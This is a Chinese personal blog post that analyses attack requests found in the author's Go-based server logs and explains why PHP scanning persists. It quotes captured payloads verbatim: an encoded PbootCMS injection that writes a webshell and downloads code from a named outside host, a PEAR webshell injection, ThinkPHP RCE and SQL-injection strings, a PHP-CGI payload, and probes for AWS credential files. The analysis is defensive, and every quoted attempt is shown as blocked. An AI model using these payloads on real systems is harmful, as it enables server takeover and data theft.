页面载入中,请稍后...

点我安装PWA
您已拒绝通知
    广告广告

    【日志全是PHP扫描?黑客指的是越来越“聪明”了】

    qaq卟言 闲聊
    小人奔跑效果开始
    • 前言
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了1.png
    • 其实这一篇文章我在五号都准备好了,但是一直懒得要死,或者说我一直在开发其他的项目导致没有时间发布
    • “你他妈的傻逼的,我用Go写的系统,结果日志里全是扫PHP脚本的请求,这些傻逼是不是搞错方向了?“
    • 最近在跟朋友语音打单机游戏时我所说的疑问
    • 为什么我会这么说很多都是扫PHP脚本的请求?
    • 现在请跟着我一起分析一下日志,看一下扫描的恶意请求有那些
    • 备份文件扫描
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了2.png
    • 134.122.130.225扫描次数1070
    • 2024年11月26日 03:49:29-04:31:10(持续约2491秒
    • 模式分析
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了3.png
    • 系统(规律)性地尝试各种备份文件扩展名
    • UA伪装: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
    • 安全评估
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了4.png
    • 所有请求都被服务器全部拒绝(444
    • 这次攻击是典型的自动化备份文件扫描,攻击者试图找到网站备份来获取敏感信息
    • 防护机制生效,所有恶意请求都被成功拦截
    • PHP扫描
    • 现在才是完全的关于PHP扫描的全部信息,也是我在这篇文章中所提到的
    • PbootCMS模板引擎漏洞扫描
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了5.png
    • 18.163.115.46扫描次数137
    • 2025年08月27日 10:43:25-11:01:41(持续约1096秒
    • 模式分析
    • 使用UA: Python-urllib/3.8python-requests/2.32.4
    • UA伪装: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0
    • 载荷以及手法分析
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了6.png
    • /?p=20&test=}{pboot:if((\x22var_\x22.\x22dump\x22)((\x22file\x22.\x22_put_contents\x22)(\x22./runtime/cache/7.php\x22,(\x22hex2bi\x22.\x22n\x22)(\x226b6c6b6c6b6c6b6c6b6c6b6c6b6c38383838353535353535353c3f70687020244f30304f4f303d75726c6465636f6465282225373825333425363325364625324625373025333925373925373125364525363425324425364325373225364225363425363725354625363525363825363325373325373725364625324225363625333325333725364125363625363925364325363525363625363425363625363425373325373025373525373425363425363625363425363325364625364525363425373325373425363525364525364425373125373625373522293b244f30304f304f3d244f30304f4f305b34345d2e244f30304f4f305b32335d2e244f30304f4f305b33385d2e244f30304f4f305b375d3b244f30304f4f313d75726c6465636f6465282268747470253341253246253246746573742e61646d696e2e6169383834342e636f6d2532466373732532462532466261636b75702e7a697022293b244f30304f4f323d2234222e2230222e244f30304f4f305b315d2e2234222e222e222e227a222e244f30304f4f305b33305d2e2270223b244f30304f304f28244f30304f4f312c244f30304f4f32293b696e636c75646520244f30304f4f323b3f3e\x22))))}{/pboot:if}
    • 使用了字符串拼接和十六进制编码来绕过检测
    • - "var_"."dump" → var_dump
      - "file"."_put_contents" → file_put_contents
      - "hex2bi"."n" → hex2bin
    • 执行的功能:
    • - 创建Webshell文件 ./runtime/cache/7.php
      - 从远程服务器下载恶意文件
      - 在服务器上执行任意命令
    • 解码后的下载恶意文件的地址: http://test.admin.ai8844.com/css//backup.zip
    • 这是他的管理后台: http://test.admin.ai8844.com/
    • 域名信息: 万维网(阿里云)
    • 域名ip列表,都是转发腾讯云:
    • ai8844.com-43.139.187.114
      www.ai8844.com-43.139.187.114
      store.ai8844.com-43.139.187.114
      test.admin.ai8844.com-43.139.187.114
      admin.ai8844.com-111.230.47.78
      data.ai8844.com-111.230.47.78
      data6.ai8844.com-129.204.4.117
      adverts.ai8844.com-43.136.85.204
    • 备案信息:京ICP备2023007636号-1(2023-12-30 至 2025-07-31
    • 备案主体:北京柚享科技有限公司
    • 安全评估
    • 所有请求都被服务器全部拒绝(444
    • 看起来这个可能是被人家攻击或破解了导致被利用的,一般企业是不会做这种事情的
    • 但是我也不是非常肯定,也不见得不是这个企业内部的问题
    • 在这里姑且认为是第一种情况吧
    • 这是一次0day漏洞利用尝试,对方想靠从他的服务器上下载恶意文件
    • 然后进行控制我的服务器,不过很明显防火墙的防护起作用了,所有恶意请求全给拦住了
    • 一次都没有绕过去,反而让我知道了其他更多的信息
    • config-create命令注入漏洞
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了7.png
    • 185.156.46.162扫描次数2
    • 2025年09月06日 08:58:29-08:58:30(持续约1秒
    • 手法解析
    • PEARPHP扩展和应用库)的config-create命令注入漏洞
    • /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?phpinfo();@eval($_POST['123']);?>+888.php
    • - 通过多层目录遍历定位到pearcmd文件
      - 注入恶意PHP代码
      - 指定生成的Webshell文件名
    • 攻击流程
    • 1. 第一次请求(08:58:29) :尝试利用PEAR漏洞创建Webshell文件888.php
    • 2. 第二次请求(08:58:30) :立即访问进行验证是否有刚刚创建的Webshell文件
    • 安全评估
    • 第一次攻击请求返回403
    • 第二次验证请求返回404
    • 很明显这个成功阻止了针对PEAR组件的高危命令注入攻击
    • 攻击者试图创建Webshell文件但被WAF及时拦截
    • ThinkPHP框架漏洞扫描
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了8.png
    • 39.163.17.250扫描次数33
    • 2025年05月07日 05:47:21-05:48:25(持续约64秒
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了9.png
    • 38.114.103.173扫描次数24
    • 2024年11月24日 17:39:08-17:39:21(持续约13秒
    • 手法解析
    • 1. ThinkPHP RCE漏洞利用
    • POST /index.php?s=/index/%5Cthink%5CContainer/invokefunction - 利用容器反射调用漏洞
      POST /index.php?s=index/%5Cthink%5CRequest/input - 利用请求参数注入漏洞
      POST /index.php?s=/index/%5Cthink%5Capp/invokefunction - 利用应用层反射调用漏洞
    • 这些攻击尝试利用ThinkPHP的模板引擎和函数调用机制执行任意PHP代码
    • 2. 模板注入攻击
    • GET /index.php?s=a/b/c/$%7Bvar_dump(md5(1))%7D
      GET /index.php?s=my-show-id-%5Cx5C..%5Cx5CTpl%5Cx5C8edy%5Cx5CHome%5Cx5Cmy_1%7B~var_dump(md5(2333))%7D%5D
    • 攻击者尝试通过模板注入执行PHP代码,使用十六进制编码绕过检测
    • 3. SQL注入攻击
    • GET /index.php?s=/home/pay/index/orderid/1%27)UnIoN/**/All/**/SeLeCT/**/Md5(2333)--+
    • 使用SQL注入尝试获取数据库信息,通过注释符和大小写混合绕过检测
    • 4. 路径遍历和文件读取
    • GET /index.php?m=Home&c=Index&a=index&value%5B_filename%5D=./Application/Runtime/Logs/Common/24_11_24.log
      GET /index.php?s=my-show-id-%5Cx5C..%5Cx5CRuntime%5Cx5CLogs%5Cx5C24_11_24.log
    • 攻击者尝试读取系统日志文件,可能用于信息收集
    • 安全评估
    • 请求都返回404403非常成功阻止了这些攻击请求
    • FCKeditor探测
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了10.png
    • 27.124.4.23扫描次数169
    • 2025年6月13日 06:27:47 - 06:27:53(持续约6秒
    • 手法解析
    • 1. 上传漏洞探测
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了11.png
    • POST /FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F
    • 2.Ueditor编辑器文件探测
    • 攻击者连续探测了多个Ueditor编辑器相关路径:
    • - /Ueditor/controller.ashx
      - /Ueditor/net/controller.ashx
      - /Plugin/ueditor/controller.ashx
      - /Scripts/ueditor/controller.ashx
      - 以及其他多个变体路径
    • 3.其他CMS漏洞探测
    • GET /e/aspx/upload.aspx?a=pageadmin_cms
      GET /SiteServer/Ajax/ajaxOtherService.aspx
    • 4.Webshell文件探测
    • 攻击者探测多个可疑的PHP文件:
    • - /gcz.php
      - /orfy.php
      - /ybzn.php
      - /cysb.php
      - /sgay.php
      - /dimy.php
    • 安全评估
    • 全部返回404,成功阻止了这些攻击请求
    • PHP混合探测
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了12.png
    • 154.36.180.143扫描次数21
    • 2025年11月26日 13:26:10 - 13:26:16(持续约6秒
    • 手法解析
    • 1.验证码接口探测
    • POST /index.php?s=captcha
    • 2.PbootCMS模板注入攻击
    • POST /?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:if}&tagstpl=news.html&lnoc2tspfar1_ue
    • 3.PHP-CGI漏洞利用
    • POST /php-cgi/php-cgi.exe?%add
      +allow_url_include%3d1+%add
      +auto_prepend_file%3dphp://input
    • 尝试利用PHP-CGI的配置漏洞,通过php://input执行恶意代码
    • 安全评估
    • 全部返回404,成功阻止了这些攻击请求
    • 路径探测
    • 以下这两个分析出来其实是一个人
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了13.png
    • 106.75.190.150扫描次数509
    • 2024年12月21日 04:23:32-04:24:12(持续约40秒
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了14.png
    • 106.75.189.197扫描次数168
    • 2024年12月26日 06:39:41-06:40:43(持续约62秒
    • 手法解析
    • 高频次访问随机路径,扫描或爆破行为
    • 为什么判断这是同一个人?
    • 两次都使用完全相同的随机字符串攻击路径
    • 都属于106.75.189.xxx-106.75.190.xxx
    • 都在凌晨时段发起攻击
    • 都是短时间内高频次请求
    • 都使用无UA的裸请求
    • 结论
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了16.png
    • 这种特定路径以及特征模式不可能是巧合
    • 这极有可能是同一个攻击者使用相近的IP地址(可能是同一IDC或代理池
    • 对网站进行持续性扫描攻击,试图寻找未修复的漏洞入口点
    • 还有一些其他IP的随机扫描路径这里就不一一列举了
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了15.png
    • 混合探测
    • 185.177.72.55扫描次数158
    • 2025年9月4日 01:04:18-01:04:38(持续约20秒
    • 手法解析
    • 1.多框架配置文件扫描
    • - AWS配置文件: /config/aws.yml , /.AWS_/credentials , /aws/credentials
      - Python/Django配置: /settings.py , /config.json , /app.py
      - Node.js配置: /main.js , /gatsby-config.js , /app.js
      - Java配置: /application.properties
      - CI/CD配置: /.travis.yml , /.circleci/config.yml
    • 2.开发环境文件探测
    • - 测试配置文件: /karma.conf.json , /swagger.json , /swagger.js
      - 后端配置: /backend/config/*.yml , /configs/*.js
      - API配置: /api/config.js , /apis/controllers/*.js
    • 3.敏感路径扫描
    • - 管理员路径: /admin/controllers/*.js , /admin/config
      - 用户配置: /user/config/config.js , /user/controllers/index.js
      - AWS凭证: /.aws/config , /.aws/credentials
      - 自定义脚本: /my_env/*.py , /mytest/*.js
    • 行为特征
    • 探测多种当下的热门技术栈 (PHP, Python, Node.js, Java, AWS
    • 使用过时的旧版Chrome UAChrome/91.0.4472.124
    • 短时间的高频次扫描 (20秒内68次请求
    • 当然还有一些其他的探测这里就不写了,总的来说就是这几种
    • 比如说WordPress扫描,SQL注入以下的位置都有写,这里就不在啰嗦了
    • 通过日志安全分析追踪攻击者
    • 本站受到SQL注入攻击,以及原理注入与解决方法
    • 结论
    • 攻击自身的blog会发现除掉备份扫描等,日志中大量存在的是扫PHP脚本的请求
    • 这也是我为什么会说出开头的那一句话
    • 技术栈升级了,PHP扫描为何没消失?
    • 首先PHP使用量仍然非常高
    • 先抛一组扎心数据:W3Techs统计显示,截至2025年,全球仍有77%的网站依赖PHP驱动
    • 这个比例比GoJavaPython的总和还要高
    • 更关键的是,这些PHP应用中,近40%还在使用PHP 5.x等早已停止维护的版本
    • ThinkPHPDedecmsPbootCMS这三大主流框架,每年暴露的高危漏洞就超过200个
    • 这就解释了黑客的“执念”:对他们而言,扫描PHP脚本不是“习惯使然”,而是“投入产出比最高的选择”
    • 就像猎人不会放弃长满猎物的草原,转而去追稀有的猛兽,即使你的系统是Go开发的
    • 黑客的自动化工具也会先扫一遍PHP路径,毕竟“扫十次有九次能碰到可利用目标”的买卖,谁都愿意做
    • 老系统是不会消失的
    • PHP的“历史包袱”是黑客最爱的突破口。作为从个人主页工具演化来的语言
    • 早期PHP为了易用性牺牲了不少安全性,并且PHP开发简单容易上手开发成本低,导致代码质量参差不齐
    • register_globals全局变量污染、magic_quotes自动转义漏洞、弱类型导致的逻辑绕过等问题,在老旧系统中至今泛滥
    • 为了向下兼容,很多旧版的PHP代码至今还在被使用,后台管理、数据统计等“边缘模块”仍在用十年前的PHP代码
    • 极低的“攻击门槛”
    • 他们的扫描逻辑通常是
    • 先扫常规PHP路径(如/index.php、/admin.php),再通过响应头判断服务器类型,最后尝试PHP与其他语言的交互漏洞
    • 对比Gojava的编译型特性,PHP的脚本化属性让攻击变得异常简单
    • 黑客不需要掌握复杂的内存溢出技巧,只要懂点基础语法,就能利用现成工具发起攻击
    • - 文件上传漏洞:未过滤的PHP文件上传接口,上传一个一句话木马就能拿到服务器权限,这类漏洞在老旧CMS中占比超60%
      - 文件包含漏洞:通过?file=../../etc/passwd这样的简单参数,就能读取服务器敏感文件,Nmap的vuln脚本库能自动扫描这类漏洞
      - 弱类型绕过:利用“123abc”==123的隐式转换特性,就能绕过不少登录验证,这种PHP独有的“特性”已被滥用十年
    • 攻击工具的普及。PHP漏洞扫描器超过30款,新手下载后输入目标网址
    • 点击“开始扫描”就能自动匹配漏洞库
    • 这种“零门槛攻击”,让PHP成为黑客入门的“练手靶场”,也让企业承受了大量无差别攻击
    • PHP这么多攻击请求,是不是不安全?
    • 安全的敌人,是“认知盲区”
    • PHP本身不是“不安全的语言”
    • 现代PHP 8.x已引入严格类型、JIT编译等安全特性,Laravel等框架也做了完善的漏洞防护
    • 黑客偏爱的不是PHP语言,而是“使用PHP的人留下的漏洞”
    • 那些看似“无关紧要”的PHP扫描日志,更像是黑客递来的“风险提示函”:它在提醒你,安全防护不能只看“主流技术栈”
    • 更要盯住那些“被遗忘的角落”。毕竟,网络安全的胜负,往往藏在日志的细节里
    • 总结
    • 我后端是用Go写的,日志都是PHP扫描日志多,是不是代表风险低?
    • 看到这里你应该明白:大量PHP扫描日志,不是黑客“找错门”,而是他们的“地毯式搜索策略
    • 其实更危险的情况是
    • 当如果把精力放在拦截PHP请求时,黑客可能已经通过其他漏洞突破了自己的Go系统
    • 其实全部公开面对互联网都有共性规律
    • 应用越广泛,漏洞暴露越充分;脚本化/动态类型特性,降低攻击技术门槛
    • 老旧系统未更新,形成 “漏洞存量”。无论用何种语言,“及时打补丁、过滤输入、管控依赖包” 都是核心防护手段
    • 虽然说GoJava等更安全的编译型技术栈成为开发主流,PHP相关的扫描日志仍然出现
    • 其实还是PHP生态比较丰富,漏洞易被利用、攻击成本低,才让它成了黑客的高效攻击目标,或者说黑客的智商不太行
    • 比较起来可能都是一些新手,因为他这些人可能连后端使用的是什么语言都不知道
    • 只能说是用最简单,使用率高的进行扫描攻击
    • 虽然这些黑客扫描的方法有点牛头不对马嘴,但是老是有扫描的也不太行
    • 所以我也为其添加了扫描检测拦截封禁的功能
    • 这样子也可以在检测到扫描攻击时,第一时间拦截封禁
    • 而不浪费我服务器的流量
    • 日志全是PHP扫描?黑客指的是越来越“聪明”了17.png
    • 行了,今天就写到这里吧,为了写这一篇文章,我也算是浪费了差不多两个小时做总结,八千多个字也够了
    • 参考
    • PHP (Hypertext Preprocessor)
    • PHP: a fractal of bad design (fuzzy notepad)
    • W3Techs - World Wide Web Technology Surveys
    完结

    🔖本文来源:qaq卟言的个人博客网站声明如损害你的权益请联系我们

    ©️版权声明:本文为【qaq卟言】原创文章,写作不易,转载请您添加本文链接,谢谢您的合作!

    📜著作协议:《知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

    ⚠️部分文章图片来自网络,可能存在版权问题。如发现相关争议请联系qaq卟言处理!

    🔗

    广告广告

    随机文章

    回复给❌取消回复

    昵称
    网址
    验证码
    *